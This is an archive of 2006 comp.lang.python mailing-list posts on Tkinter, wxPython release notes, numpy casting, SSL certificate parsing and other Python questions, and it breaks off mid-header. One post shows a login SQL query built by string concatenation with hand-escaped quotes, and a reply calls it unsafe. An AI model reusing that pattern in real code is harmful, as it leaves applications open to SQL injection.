> sbarX = Tk.Scrollbar( > > orient='horizontal') sbarY.config(command= > > vcanvas.yview) sbarX.config(command= > > vcanvas.xview) > > > > > > vcanvas.config(yscrollcommand=sbarY.set) > > vcanvas.config(xscrollcommand=sbarX.set) > > > > sbarY.pack(side='right', fill='y') > > sbarX.pack(side='bottom', fill='x') > > vcanvas.pack(expand='yes', > > fill='both') > > > > im= Image.open( vpath) > > tkim = ImageTk.PhotoImage(im) > > > > imgW = tkim.width() > > print imgW, '## imgW, jpg 58\n' > > > > imgH = tkim.height() > > print imgH, '## imgH, jpg 61\n' > > > > # Draw the image on the canvas > > vcanvas.create_image(0, 0, > > image=tkim, anchor = 'nw' ) > > > > vcanvas.config(scrollregion= (0, 0, > > imgW, imgH)) window.mainloop () > > > > > > if __name__ == '__main__' : > > > > Kshow_0() From roy at panix.com Tue Oct 17 10:10:19 2006 From: roy at panix.com (Roy Smith) Date: Tue, 17 Oct 2006 10:10:19 -0400 Subject: Tertiary Operation References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> <1161093117.541719.320210@i3g2000cwc.googlegroups.com> Message-ID: In article <1161093117.541719.320210 at i3g2000cwc.googlegroups.com>, "abcd" wrote: > Carsten Haese wrote: > > Use Python 2.5 where there is a true conditional > > expression or find another way to solve your problem. > > python 2.5 once we upgrade (hopefully soon), anyways...an earlier post > suggested the inverse... > > x = None > result = (x is not None and str(x) or "") > > which works just fine. > > thanks. Why not just: if x is None: result = str(x) else: result = "" It's a couple more lines of code, but it's obvious what it means. I know about boolean short-circuit evaluation, and the and/or trick, but I still look at result = (x is not None and str(x) or "") and have to puzzle through exactly what's going on there. You are going to write your code once. It's going to be read many many times by different people. It's worth a few more keystrokes on your part to save all those future maintenance programmers headaches later. You won't really understand just how important readability is until you're maintaining a million lines of old code, most of it written by people who are no longer on the project. I spend a lot of time staring at code somebody else wrote and muttering things like, "What the **** does this do?" That's just money down the toilet. If I have to reach for a reference manual to look up operator binding rules to understand a piece of code, that's bad. If I have to start making notes on a piece of scrap paper, "Let's see, if x is this, then that's true, so blah, blah", that's bad. If I look at something subtle, don't realize it's subtle, and come to an incorrect conclusion about what it does, then base some other decisions on that incorrect conclusion, that's really, really bad. From ckaiser at floodgap.com Wed Oct 4 08:50:01 2006 From: ckaiser at floodgap.com (Cameron Kaiser) Date: 4 Oct 2006 07:50:01 -0500 Subject: Getting Pygopherd to work under Mac OS X References: <1159954464.194392.190600@m73g2000cwd.googlegroups.com> Message-ID: <4523adaa$0$37650$bb4e3ad8@newscene.com> mattabat at gmail.com writes: >Could someone *please* show us poor Mac users how to install and run >Pygopherd successfully under Mac OS X? The latest version 2.0.4, as >found at http://freshmeat.net/projects/pygopherd/ is my bane. I think I >talked to John Goerzen, the maintainer, a while back but nothing came >of it. >I've tried this twice now, following the instructions given and have >found nothing but grief and many errors. >For a Python app it seems to be rather platform dependant! Does >Pygopherd need to be altered somehow to work under OS X? >If Pygopherd is a lost cause, can someone recommend another >*maintained* gopher daemon with instructions that would allow its' use >under OS X? Can you be more specific about what doesn't work? I'm not sure what you mean by platform dependent in this case. -- Cameron Kaiser * ckaiser at floodgap.com * posting with a Commodore 128 personal page: http://www.armory.com/%7Espectre/ ** Computer Workshops: games, productivity software and more for C64/128! ** ** http://www.armory.com/%7Espectre/cwi/ ** From robin at alldunn.com Thu Oct 19 14:21:10 2006 From: robin at alldunn.com (Robin Dunn) Date: Thu, 19 Oct 2006 11:21:10 -0700 Subject: ANN: wxPython 2.7.1.1 released Message-ID: <4537C216.2060503@alldunn.com> Announcing ---------- The 2.7.1.1 release of wxPython is now available for download at http://wxpython.org/download.php. This release is the first offical release in the 2.7.x development series, and includes a lot of new features, enhancements and fixes. Source and binaries are available for both Python 2.4 and 2.5 for Windows and Mac, as well some pacakges for varous Linux distributions. A summary of changes is listed below and also at http://wxpython.org/recentchanges.php. What is wxPython? ----------------- wxPython is a GUI toolkit for the Python programming language. It allows Python programmers to create programs with a robust, highly functional graphical user interface, simply and easily. It is implemented as a Python extension module that wraps the GUI components of the popular wxWidgets cross platform library, which is written in C++. wxPython is a cross-platform toolkit. This means that the same program will usually run on multiple platforms without modifications. Currently supported platforms are 32-bit Microsoft Windows, most Linux or other Unix-like systems using GTK2, and Mac OS X 10.3+, in most cases the native widgets are used on each platform. Changes in 2.7.1.1 ------------------ The following deprecated items have been removed: * wx.Bitmap SetQuality and GetQuality methods * The wx.GetNumberFromUser function * wx.EVT_LIST_GET_INFO and wx.EVT_LIST_SET_INFO * wx.BookCtrlSizer and wx.NotebookSizer * The PostScript-specific methods of wx.PrintData * wx.PrintDialogData SetSetupDialog and GetSetupDialog methods * wx.FontMapper SetConfig method * wx.html.HtmlSearchStatus.GetContentsItem method * wx.html.HtmlHelpData.GetContents, GetContentsCnt, GetIndex, and GetIndexCnt methods wx.EventLoop is now implemented for wxMac. Added wxPython wrappers for the new wx.Treebook and wx.Toolbook classes. wx.DC.BeginDrawing and EndDrawing have been deprecated in the C++ code, so since they never really did anything before they are now just empty stubs in wxPython. Solved a problem that has been around for a very long time in how C++ methods are virtualized for overriding in derived Python classes. Previously we couldn't do it for methods that needed to also exist in the base class wrappers such that they could be called normally. (The reasons are long and complex, but suffice it to say that it was due to mixing C++'s dynamic dispatch, and Python's runtime lookup of the method attributes resulting in endless recursion of function calls.) Because of this problem I used a hack that I have always hated, and that is renaming the base class methods with a "base_*" prefix, for example wx.Printout.base_OnBeginDocument. Now that the problem has finally been solved I have replaced all the base_Whatever() methods with the real Whatever() method as well as a simple wrapper named base_Whatever that is marked as deprecated. So now instead of writing your overridden methods like this:: def OnBeginDocument(self, start, end): # do something here return self.base_OnBeginDocument(start, end) You can now call the base class method the normal way, like this:: def OnBeginDocument(self, start, end): # do something here return Printout.OnBeginDocument(self, start, end) Or like this with super():: def OnBeginDocument(self, start, end): # do something here return super(MyPrintout, self).OnBeginDocument(start, end) Note that the old way with the "base_*" function still works, but you will get a DeprecationWarning from calling base_OnBeginDocument. The classes affected by this are: * wx.DropSource * wx.DropTarget * wx.TextDropTarget * wx.FileDropTarget * wx.PyLog (also added the ability to override Flush) * wx.PyApp (also added the ability to override ExitMainLoop) * wx.Printout * wx.PyPrintPreview * wx.PyPreviewFrame * wx.PreviewControlBar * wx.Process * wx.PyControl * wx.PyPanel * wx.PyScrolledWindow * wx.PyWindow * wx.Timer * wx.grid.PyGridCellRenderer * wx.grid.PyGridCellEditor * wx.grid.PyGridCellAttrProvider * wx.grid.PyGridTableBase * wx.html.HtmlWindow * wx.wizard.PyWizardPage Added the wx.DC.GradientFillConcentric and wx.DC.GradientFillLinear methods. wxGTK: wx.ListBox and wx.CheckListBox are now using native GTK2 widgets. Added wx.ListBox.HitTest() from patch 1446207 Bumped up to SWIG 1.3.29. This provides some more runtime performance boosts, gets rid of the dreaded Ptr classes, and some other nice new things. Added wx.Window.GetScreenPosition and GetScreenRect which returns the position of the window in screen coordinates, even if the window is not a top-level window. Added GetResourcesDir and GetLocalizedResourcesDir to wx.StandardPaths. Added a GetReceivedFormat method to wx.DataObjectComposite. You can use this to find out what format of data object was recieved from the source of the clipboard or DnD operation, and then you'll know which of the component data objects to use to access the data. Changed how the stock objects (wx.RED, wx.RED_PEN, wx.RED_BRUSH, etc.) are initialized. They are now created as uninitialized instances using __new__. Then after the wx.App has been created, but before OnInit is called, the .this attribute of each object is initialized. This was needed because of some delayed initialization functionality that was implemented in wxWidgets, but the end result is cleaner for wxPython as well, and allowed me to remove some ugly code previously hidden under the covers. Added wx.StandardPaths.GetDocumentsDir. Added wx.RendererNative.DrawCheckButton. wx.ProgressDialog.Update now returns a tuple of two values. The first is a continue flag (what was returned before) and the second is a skip flag. If the dialog has the wx.PD_CAN_SKIP flag and if the Skip button is clicked, then the skip flag is set to True the next time Update is called. A DeprecationWarning is now issued when the old wxPython package is imported. If you are still using the old namespace please convert your code to use the new wx package instead. Added wrappers for Julian's new wxRichTextCtrl class, visible in wxPython as wx.richtext.RichTextCtrl window. It still needs some more work, but it is a great start. wx.lib.mixins.listctrl.TextEditMixin: Fixed the double END_LABEL_EDIT event problem in TextEditMixin by checking if the editor was already hidden before continuing with the CloseEditor method. Also added code to OpenEditor to send the BEGIN_LABEL_EDIT event and to not allow the opening of the editor to continue if the event handler doesn't allow it. wx.StaticBoxSizer now keeps better track of the wx.StaticBox, and it will destroy it if the sizer is destroyed before the parent window is. Added wx.HyperlinkCtrl. Added battery and power related functions and events (wxMSW only so far.) See wx.PowerEvent, wx.GetPowerType and wx.GetBatteryState. Added wx.ListCtrl.HitTestSubItem which returns the sub-item (i.e. the column in report mode) that was hit (if any) in addition to the item and flags. Added wrappers for wx.ColourPickerCtrl, wx.DirPickerCtrl, wx.FilePickerCtrl, and wx.FontPickerCtrl. Patch #1502016 wx.Image.ConvertToGreyscale now retains the alpha channel. Added wrappers for the wxAUI classes, in the wx.aui module. Added the PseudoDC class from Paul Lanier. It provides a way to record operations on a DC and then play them back later. Upgraded to Scintilla 1.70 for wx.stc.StyledTextCtrl. Added CanSetTransparent and SetTransparent methods to the wx.TopLevelWindow class, with implementations (so far) for wxMSW and wxMac. SetDefaultItem() and GetDefaultItem() are now members of wx.TopLevelWindow, not wx.Panel. wxGTK: Stock items (icons) will be used for menu items with stock IDs. Added wx.lib.combotreebox from Frank Niessink Added wx.ImageFromBuffer, wx.BitmapFromBuffer and wx.BitmapFromBufferRGBA factory functions. They enable loading of an image or bitmap directly from a Python object that implements the buffer interface, such as strings, arrays, etc. Added wx.App.IsDisplayAvailable() which can be used to determine if a GUI can be created in the current environment. (Still need an implementation for wxMSW...) The wx.html.HTML_FONT_SIZE_x constants are no longer available as the default sizes are now calculated at runtime based on the size of the normal GUI font. wx.Colour now includes an alpha component, which defaults to wx.ALPHA_OPAQUE. This is in preparation for allowing various new alpha blening functionality using wx.Colour objects, such as drawing with pens and brushes on a wx.DC. Added wx.NativePixelBuffer, wx.AlphPixelBuffer and related iterator and accessor classes. They allow platform independent direct access to the platform specific pixel buffer inside of a wx.Bitmap object. The beginnings of support for RTL languages has been added, thanks to a Google SoC project. Added wx.lib.dragscroller from Riaan Booysen. It provides a helper class that can used to scroll a wx.ScrolledWindow in response to a mouse drag. Applied patch 1551409: Adds support for indeterminate mode gauges. wxMac: I've turned on the compile option for using the native toolbar on the Mac now that it supports hosting of controls. If the toolbar is managed by the frame via either CreateToolBar() or SetToolBar() then the native toolbar will be used. Additional toolbars, or toolbars that are not children of the frame, are managed by sizers or what-not will still use the emulated toolbar because of platform restrictions in how/where the native toolbar can be used. Added Python properties for many of the getter/setter methods of wx classes. In order for the names to be predicatble for somebody already familiar with wxPython the property names are simply the name of the getter with the "Get" dropped. For example, wx.Window has a property named "Size" that maps to GetSize and SetSize. So far there is only one known name conflict using this naming convention, and that is wx.KeyEvent.KeyCode, however since KeyCode was formerly a compatibility alias for GetKeyCode (and has been for a long time) it was decided to just switch it to a property. If you want to use the method then change your calls to event.KeyCode() to event.GetKeyCode(), otherwise you can use it as a property just by dropping the parentheses. Updated the C++ code for wx.gizmos.TreeListCtrl from the wxCode project. This has resulted in some minor API changes, most of which were worked around in the wrapper code. Added wx.lib.delayedresult from Oliver Schoenborn. Added wx.lib.expando, a multi-line textctrl that exands as more lines are needed. wx.Image.Scale and Rescale methods now take an extra parameter specifying type of method to use for resampling the image. It defaults to the current behavior of just replicating pixels, if wx.IMAGE_QUALITY_HIGH is passed then it uses bicubic and box averaging resampling methods for upsampling and downsampling respectively. Added the wx.lib.buttonpanel module, which is a tweaked version of Andrea Gavana's FancyButtonPanel module. Added the wx.lib.flatnotebook module, from Andrea Gavana. Renamed wx.FutureCall to wx.CallLater so it is named more like wx.CallAfter. wx.FutureCall is now an empty subclass of wx.CallLater for compatibility of older code. Added the wx.lib.customtreectrl module from Andrea Gavana. Added ChangeSelection to wx.BookCtrl (the base class for wx.Notebook and other book controls) that is the same as SetSelection but doesn't send the change events. Added wx.TextCtrl.ChangeValue() which is the same as SetValue() but doesn't send the text changed event. For consistency, all classes having an Ok() method now also have IsOk(), use of the latter form is preferred although the former hasn't been deprecated yet Added the wx.AboutBox() function and wx.AboutDialogInfo class. They provide a way to show a standard About box for the application, which will either be a native dialog or a generic one depending on what info is provided and if it can all be shown with the native dialog. The code in the animate contrib has been moved into the code wxWidgets library, and refactored a bit along the way. For wxPython it still exists in the wx.animate module, but has basically been reduced to two classes, wx.animate.Animation, and wx.animate.AnimationCtrl. You load the animated GIF (and hopefully there will be other supported formats in the near future) in the Animation object, and then give that to the AnimatedCtrl for display. See the demo for an example. There is also still a GIFAnimationCtrl class that provides some level of backwards compatibility with the old implementation. wxMac: The compile option that turns on the use of CoreGraphics (a.k.a Quartz) for wxDC is now turned on by default. This means that all drawing via wxDC is done using the new APIs from apple, instead of the old Quick Draw API. There are, however, a few places where Quartz and wxDC don't fit together very well, mainly the lack of support for logical drawing operations such as XOR, but there is work in progress to provide other ways to do the same sort of thing that will work with Quartz and also on the other platforms. The first parts of a new 2D drawing API has been added with the wx.GraphicsPath and wx.GraphicsContext classes. They wrap GDI+ on Windows, Cairo on wxGTK and CoreGraphics on OS X. They allow path-based drawing with alpha-blending and anti-aliasing, and use a floating point cooridnate system. Currently they can only target drawing to windows, but other wx.DC backends are forthcoming. The APIs may evolve a bit more before they are finalaized with the 2.8 release, but there is enough there now to get a good feel for how things will work. There is also a transitional wx.GCDC class that provides the wx.DC API on top of wx.GraphicsContext. Docs and a demo are still MIA. Added a wx.AutoBufferedPaintDC that is a subclass of wx.PaintDC on platforms that do double buffering by default, and a subclass of wx.BufferedPaintDC on the platforms that don't. You can use this class to help avoid the overhead of buffering when it is not needed. There is also a wx.AutoBufferedPaintDCFactory function that does a little more and actually tests if the window has double-buffering enabled and then decides whether to return a wx.PaintDC or wx.BufferedPaintDC. This uses the new wx.Window.IsDoubleBuffered method. -- Robin Dunn Software Craftsman http://wxPython.org Java give you jitters? Relax with wxPython! From msherman77 at yahoo.com Wed Oct 25 07:27:40 2006 From: msherman77 at yahoo.com (Michael S) Date: Wed, 25 Oct 2006 07:27:40 -0400 (EDT) Subject: [wxPython-users] Re: In-Reply-To: <20061024200724.0AA7.JCARLSON@uci.edu> Message-ID: <20061025112740.44244.qmail@web88303.mail.re4.yahoo.com> If I create a threading.Thread derived class, and run the wxPython code in the main thread; using a lock, will I be able to suspend the Thread, even though it will run the C code, which is essentially a while loop looping through millions of lines of a text file? Thanks in advance. Michael --- Josiah Carlson wrote: > > Gabriel Genellina wrote: > > At Tuesday 24/10/2006 23:25, Michael S wrote: > > > > >I extended part of my program in C, since that > part > > >was too involved for Python. Now when I import > the > > >module I created and call its functions, I am > trying > > >to feedback some information bac to my wxPython > > >program. The function runs for a while and I > wanted to > > >update a progress bar, but when I call the > function of > > >my new module, wxPython doesn't respond when > wx.Timer > > >is supposed to fire. > > > > Does your extension run on a separate thread? I > guess not. So the > > wxPython code does not have a chance to run. > > Do it the other way: from your C code, call a > Python function which > > in turn updates the progress bar (and keep it > simple!) > > Unless the GUI thread has a chance to take passes > through the wxPython > mainloop, the progress bar, etc., may not actually > be updated on some > platforms. > > Mr. Sherman would likely be better off creating a > new thread which > handles processing, which could update a C global > variable, which the > GUI thread can poll to update its progress bar, etc. > Alternatively, if > the processing can be broken down into smaller > pieces, the secondary > thread can call the pieces and post events back to > the GUI thread to > update the progress bar (via explicit wx.PostEvent > or implicit > wx.CallAfter). > > > - Josiah > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: > wxPython-users-unsubscribe at lists.wxwidgets.org > For additional commands, e-mail: > wxPython-users-help at lists.wxwidgets.org > > From apardon at forel.vub.ac.be Wed Oct 4 06:38:41 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 4 Oct 2006 10:38:41 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: On 2006-10-04, Nick Craig-Wood wrote: > Antoon Pardon wrote: >> One possible way to do what I think you want is to code as follows: >> >> class Default (object): >> pass > > I'd have written > > Default = object() > >> def f(var=Default): >> if var is Default: >> var = 1 >> return var * 2 > > But yes, defining a sentinel like this is a good idea. The problem is that a lot of built in and library functions are not written this way. So when f is one of those, you are stuck. -- Antoon Pardon From steve at holdenweb.com Sat Oct 28 07:12:58 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 28 Oct 2006 12:12:58 +0100 Subject: Import if condition is correct In-Reply-To: <1162032099.393489.321290@e3g2000cwe.googlegroups.com> References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> <1162032099.393489.321290@e3g2000cwe.googlegroups.com> Message-ID: MindClass wrote: > Georg Brandl wrote: > >>MindClass wrote: >> >>>Is possible import a library according to a condition? >>> >>>if Foo == True: >>> import bar >>> >> >>Why don't you try it? >> > > I thinked that could be another way for import statement. > > In that case I'll have to set a global variable before of the import > statements although I'd prefer not use them. > I'm guessing that you think this might be necessary to avoid importing the same module multiple times: it's not. Python only runs the module's code the first time the module is imported into a program. A further import statement effectively does noting, because the interpreter sees (from an entry in the sys.modules dictionary) that the module is already present. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mensanator at aol.com Fri Oct 27 01:17:18 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 26 Oct 2006 22:17:18 -0700 Subject: Cards deck problem In-Reply-To: References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Message-ID: <1161926238.253178.29340@h48g2000cwc.googlegroups.com> Dennis Lee Bieber wrote: > On Fri, 27 Oct 2006 03:48:25 GMT, Michael Naunton > declaimed the following in comp.lang.python: > > > > > This may seem pendantic, but CS is mostly about thinking about (and thus > > Someday I should arrange to do a lost-wax casting of a > /pendant/ with the definition of /pedant/ on it Why not a /pedant/ with a description of /pendant/ on it? > -- > Wulfraed Dennis Lee Bieber KD6MOG > wlfraed at ix.netcom.com wulfraed at bestiaria.com > HTTP://wlfraed.home.netcom.com/ > (Bestiaria Support Staff: web-asst at bestiaria.com) > HTTP://www.bestiaria.com/ From john106henry at hotmail.com Wed Oct 25 20:12:14 2006 From: john106henry at hotmail.com (John Henry) Date: 25 Oct 2006 17:12:14 -0700 Subject: Dealing with multiple sets In-Reply-To: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> Message-ID: <1161821534.759477.194750@m7g2000cwm.googlegroups.com> Oops. Forgot to mention, I am still using 2.3. John Henry wrote: > Hi list, > > If I have a bunch of sets: > > a = set((1, 2, 3)) > b = set((2, 3)) > c = set((1, 3)) > .... > > What's the cleanest way to say: > > 1) Give me a list of the items that are in all of the sets? (3 in the > above example) > 2) Give me a list of the items that are not in all of the sets? (1,2 in > the above example) > > Thanks, From sturlamolden at yahoo.no Tue Oct 24 18:55:15 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 24 Oct 2006 15:55:15 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <453E4D95.7080204@v.loewis.de> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> <1161649124.962144.127140@e3g2000cwe.googlegroups.com> <453E4D95.7080204@v.loewis.de> Message-ID: <1161730515.244084.9310@m73g2000cwd.googlegroups.com> Martin v. L?wis wrote: Your news server doesn't honour cancel as well... > It doesn't need to, why do you think it does? This was an extremely stupid question on my side. It needs to be flushed after a write because that's how the memory pages mapping the file is synchronized with the file. Write ops to the memory mapping addresses isn't immediately synchronized with the file on disk. Both Windows and UNIX require this. I should think before I write, but I realized this after posting and my cancel didn't reach you. > Read the source, Luke. It uses mmap or MapViewOfFile, depending > on the platform. Yes, indeed. From deets at nospam.web.de Tue Oct 3 18:40:40 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Wed, 04 Oct 2006 00:40:40 +0200 Subject: Strange sorting error message In-Reply-To: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> Message-ID: <4og779Fe6briU1@uni-berlin.de> Dustan schrieb: > I'm hiding some of the details here, because I don't want to say what > I'm actually doing. > I have a special-purpose class with a __cmp__ method all set up and > ready to go for sorting. Then I have a special class that is based on > the builtin type list (though I didn't actually inherit list; I > probably should). When I create an instance with 2 or more items, and > attempt to sort it, I get this strange error message: > >>>> myList.sort() > Traceback (most recent call last): > File "", line 1, in > File "[listModulePath]", line 239, in sort > self.listOfObjects.sort() > TypeError: an integer is required > > The sort method's code is exactly what you see; it's a one-line method. > > The only thing I can think of is the __cmp__ method is returning > something other than an integer, which it's not. Does stuffing the objects in a standard list and sorting them work? How does the __cmp__-method look like? Diez From ianb at colorstudy.com Mon Oct 9 11:30:56 2006 From: ianb at colorstudy.com (Ian Bicking) Date: 9 Oct 2006 08:30:56 -0700 Subject: WSGI - How Does It Affect Me? In-Reply-To: References: Message-ID: <1160407856.216314.197210@k70g2000cwa.googlegroups.com> Gregory Pi?ero wrote: > What I'm most confused about is how it affects me. I've been writing > small CGI programs in Python for a while now whenever I have a need > for a web program. Is CGI now considered "Bad"? I've just always > found it easier to write something quickly with the CGI library than > to learn a framework and fool with installing it and making sure my > web host supports it. There's two aspects to CGI. As a method of deploying a web application, it is fine (though slow). You can still deploy your applications as CGI if you write them with WSGI. (This is covered some in PEP 333) There are some bad parts of CGI too, which won't work with WSGI. An example is using "print" for output. WSGI is neutral about how your application will run -- maybe it'll be a CGI script, maybe it'll be a threaded server with long-running processes, maybe a forking server. Also, you can't have statements at the module level, like you would with a CGI script. All your code needs to be in functions. I think these are all good ideas anyway. One advantage of WSGI is that in addition to CGI you can easily set up an HTTP server (there's one in wsgiref, for example). Then you can develop and test your application locally. Ian From no-spam at no-spam-no-spam.com Thu Oct 26 16:06:45 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 22:06:45 +0200 Subject: numpy numbers converted wrong Message-ID: in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 Why is this and what should I do ? Is this bug in numpy or in Numeric? [Dbg]>>> m #numpy array array([[ 9.78109200e+08, 7.44000000e+00], [ 9.78454800e+08, 7.44000000e+00], [ 9.78541200e+08, 8.19000000e+00], ..., [ 1.16162280e+09, 8.14600000e+01], [ 1.16170920e+09, 8.10500000e+01], [ 1.16179560e+09, 8.16800000e+01]]) [Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10] array([[ 9.78109184e+008, 7.00000000e+000], [ 9.78454784e+008, 7.00000000e+000], [ 9.78541184e+008, 8.00000000e+000], [ 9.78627584e+008, 8.00000000e+000], [ 9.78713984e+008, 8.00000000e+000], [ 9.78973184e+008, 8.00000000e+000], [ 9.79059584e+008, 8.00000000e+000], [ 9.79145984e+008, 8.00000000e+000], [ 9.79232384e+008, 9.00000000e+000], [ 9.79318784e+008, 8.00000000e+000]],'f') [Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10] array([[ 9.78109200e+008, 7.00000000e+000], [ 9.78454800e+008, 7.00000000e+000], [ 9.78541200e+008, 8.00000000e+000], [ 9.78627600e+008, 8.00000000e+000], [ 9.78714000e+008, 8.00000000e+000], [ 9.78973200e+008, 8.00000000e+000], [ 9.79059600e+008, 8.00000000e+000], [ 9.79146000e+008, 8.00000000e+000], [ 9.79232400e+008, 9.00000000e+000], [ 9.79318800e+008, 8.00000000e+000]]) [Dbg]>>> and why and what is: [Dbg]>>> m[0,1] 7.44 [Dbg]>>> type(_) [Dbg]>>> does this also slow down python math computations? should one better stay away from numpy in current stage of numpy development? I remember, with numarray there were no such problems. -robert PS: in Gnuplot.utils: def float_array(m): """Return the argument as a Numeric array of type at least 'Float32'. Leave 'Float64' unchanged, but upcast all other types to 'Float32'. Allow also for the possibility that the argument is a python native type that can be converted to a Numeric array using 'Numeric.asarray()', but in that case don't worry about downcasting to single-precision float. """ try: # Try Float32 (this will refuse to downcast) return Numeric.asarray(m, Numeric.Float32) except TypeError: # That failure might have been because the input array was # of a wider data type than Float32; try to convert to the # largest floating-point type available: return Numeric.asarray(m, Numeric.Float) From olsongt at verizon.net Wed Oct 18 10:50:02 2006 From: olsongt at verizon.net (olsongt at verizon.net) Date: 18 Oct 2006 07:50:02 -0700 Subject: Restart a Python COM Server In-Reply-To: <1161137817.550348.157890@m73g2000cwd.googlegroups.com> References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com> Message-ID: <1161183002.883210.110930@m73g2000cwd.googlegroups.com> m.errami at gmail.com wrote: > Hello all. > I am desperately in need for you help guys. Here is the story: > 1- I have created a small simple COM serve with python (along the lines > read in Win32 Programming with python). > 2- If I start the server and call a function from VBE everything works > fine > 3- I then want to modify the function in the python COM server > 4- I unregister the server and register it again hoping the changes > will take effect > 5- I make call to the function from VBE but the it seems that VBE > doesn't reload/refresh the reference to the server. > So I do I get VBE to point to the last version of the server? If I > close VBE and reload it then it works. But I think there is probably a > smarter way. Please, tell me there is! > Few posts deal with the issue, but so far I couldn't find anything > about it... > > Thanx all > M.E I don't know how well this works for python-based COM components, but the general fix is to setup a Component Services package. This creates a proxy component which can be independently killed from the Component Services management console. From fredrik at pythonware.com Tue Oct 17 10:08:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 16:08:34 +0200 Subject: Problem creating animated gif References: <1161093502.432509.38340@m7g2000cwm.googlegroups.com> Message-ID: "abcd" wrote: > Any ideas? Basically I want to make an animated GIF out of a bunch of > images taken using the ImageGrab module. the screen is an RGB device, but the gifmaker wants palette images (mode P). to fix this, insert im = im.convert("P") after the grab (or before the call to makedelta). From fredrik at pythonware.com Thu Oct 26 03:35:32 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 09:35:32 +0200 Subject: python html 2 image (png) In-Reply-To: <11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com> References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> <1161778587.501281.92320@h48g2000cwc.googlegroups.com> <4q9l3cFm97ffU1@uni-berlin.de> <1161845822.338404.197410@f16g2000cwb.googlegroups.com> <11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com> Message-ID: joe Li wrote: > **class Bunch(object): > def __init__(self, **fields): > self.__dict__ = fields > > p = Bunch(x=2.3, y=4.5) > print p > > print p.__dict__ > > I dont' understand the usage of the double * here, could anyone explain > it for me? if you're going to post questions to arbitrarily chosen threads, you could at least change the subject (but it's a lot nicer to open a new thread). the "**" prefix tells Python to stuff any excess keyword arguments into the given variable: >>> def func(**kwargs): ... print kwargs ... >>> func() {} >>> func(spam=1, egg=2) {'egg': 2, 'spam': 1} for more on Python's parameter syntax, see the section on "def" in the language reference; see e.g. http://effbot.org/pyref/def.htm From nagle at animats.com Tue Oct 24 00:03:02 2006 From: nagle at animats.com (John Nagle) Date: Tue, 24 Oct 2006 04:03:02 GMT Subject: Obtaining SSL certificate info from SSL object - BUG? Message-ID: <453D95EA.1020602@animats.com> The Python SSL object offers two methods from obtaining the info from an SSL certificate, "server()" and "issuer()". The actual values in the certificate are a series of name/value pairs in ASN.1 binary format. But what "server()" and "issuer()" return are strings, with the pairs separated by "/". The documentation at "http://docs.python.org/lib/ssl-objects.html" says "Returns a string containing the ASN.1 distinguished name identifying the server's certificate. (See below for an example showing what distinguished names look like.)" There is, however, no "below". What you actually get back looks like this, which is Google's certificate: "/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com" So, no problem; just split on "/", right? Unfortunately, "/" is a legal character in certificate values. Worse, this isn't just a theoretical problem. Verisign's issuer information reads: "/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign". Note that "OU=Terms of use at www.verisign.com/rpa (c)00" with a "/" in the middle of the value field. So you hit this problem on every cert issued by Verisign. Oops. Nor does there seem to be a way to get at the certificate itself from within Python. There was some discussion of this in 2002 at http://groups.google.com/group/comp.lang.python/browse_frm/thread/a91a4e1c0f4e03c4/eec124c606f56c0b?lnk=gst&q=socket+ssl+issuer&rnum=4#eec124c606f56c0b when someone wrote: "Furthermore, while the server and issuer are exposed through undocumented attributes, the server_cert is not. So there is no way to validate the cert manually, short of rewriting socketmodule.c. This is one case where the batteries included have been sitting on the shelf too long." Clearly, "server()" and "issuer()" should return lists, not strings. That would resolve the ambiguity. ASN.1 is a representation for lists, and hammering those lists into strings loses information. Is there a workaround for this? Without rebuilding Python and becoming incompatible? John Nagle Animats From steve at holdenweb.com Tue Oct 24 07:31:09 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 12:31:09 +0100 Subject: Protecting against SQL injection In-Reply-To: References: Message-ID: Tor Erik Soenvisen wrote: > Hi, > > How safe is the following code against SQL injection: > > # Get user privilege > digest = sha.new(pw).hexdigest() > # Protect against SQL injection by escaping quotes > uname = uname.replace("'", "''") > sql = 'SELECT privilege FROM staff WHERE ' + \ > 'username=\'%s\' AND password=\'%s\'' % (uname, digest) > res = self.oraDB.query(sql) > > pw is the supplied password abd uname is the supplied password. > Slightly safer than not doing anything to the user-supplied inputs, but nowehere near as safe as it needs to be. Use parameterized queries! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From johan.h.lindberg at gmail.com Tue Oct 3 04:21:43 2006 From: johan.h.lindberg at gmail.com 